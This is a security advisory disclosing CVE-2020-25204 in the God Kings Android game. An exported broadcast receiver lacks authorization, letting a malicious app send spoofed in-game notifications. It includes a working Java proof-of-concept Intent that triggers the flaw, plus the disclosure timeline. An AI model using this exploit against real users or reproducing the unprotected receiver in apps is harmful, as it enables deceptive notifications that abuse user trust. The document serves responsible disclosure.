RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        God Kings
Vendor URL:     https://play.google.com/store/apps/details?id=com.innogames.gkandroid
Type:           Improper Verification of Intent by Broadcast Receiver [CWE-925]
Date found:     2020-09-07
Date published: 2020-10-25
CVSSv3 Score:   5.5 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
CVE:            CVE-2020-25204


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
God Kings 0.60.1 (latest)


4. INTRODUCTION
===============
IT’S TIME TO BECOME THE WORLD’S GREATEST KING!! Compete on the ultimate battleground 
against epic monsters and tyrannical enemy kings in the vast 3D world of God Kings! 
Raise an eternal empire and build an army, the likes of which have never been seen! 
Your strategy, your victory! Summon legendary Guardians and unleash devastating 
damage upon all those who stand opposed! Join forces with other strong kingdoms and 
grow your influence on the battlefield together!

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The "God Kings" app for Android exposes a broadcast receiver to other apps called
"com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver". 
The purpose of this broadcast receiver is to receive and display in-game push 
notifications to the player.

However, the app does not enforce any authorization schema on the broadcast receiver, 
thus allowing an attacker (malicious app) to send fully customizable in-game push 
notifications to the player. An exemplary exploit could look like the following:

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.setComponent(new ComponentName("com.innogames.gkandroid", "com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver"));
i.setAction("android.intent.action.MAIN");

Bundle bundle = new Bundle();
bundle.putString("title", "title");
bundle.putString("body", "body");
bundle.putString("tickerText", "tickerText");
bundle.putString("smallIcon" ,"smallIcon");
bundle.putString("largeIcon", "largeIcon");
bundle.putBoolean("displayedInForeground", true);

UserInfo userinfo = new UserInfo("1", "2");
bundle.putParcelable("user_info", userinfo);

i.putExtra("NotificationExtra", bundle);
sendBroadcast(i);


6. RISK
=======
A malicious app on the same device is able to exploit this vulnerability to show
arbitrary in-game push notifications to the player. The specific problem here is the 
assumed trust boundary between the user having the God Kings app installed and 
what the app is actually doing/displaying to the user. So if the player sees the in-game
notification, it can be assumed that the shown content is also trusted by the user.


7. SOLUTION
===========
-


8. REPORT TIMELINE
==================
2020-09-07: Discovery of the vulnerability
2020-09-08: CVE requested from MITRE
2020-09-08: Contacted vendor via their security@
2020-09-08: Response from vendor
2020-09-09: MITRE assigns CVE-2020-25204
2020-09-09: Sent a full apk PoC to exploit this issue
2020-09-17: Vendor states that they're working on a fix, but the initial disclosure 
            deadline cannot be met
2020-09-17: Disclosure deadline extended to 24th October 2020
2020-09-25: Vendor states that they've decided not to fix this issue in due time
2020-10-25: Public disclosure


9. REFERENCES
=============
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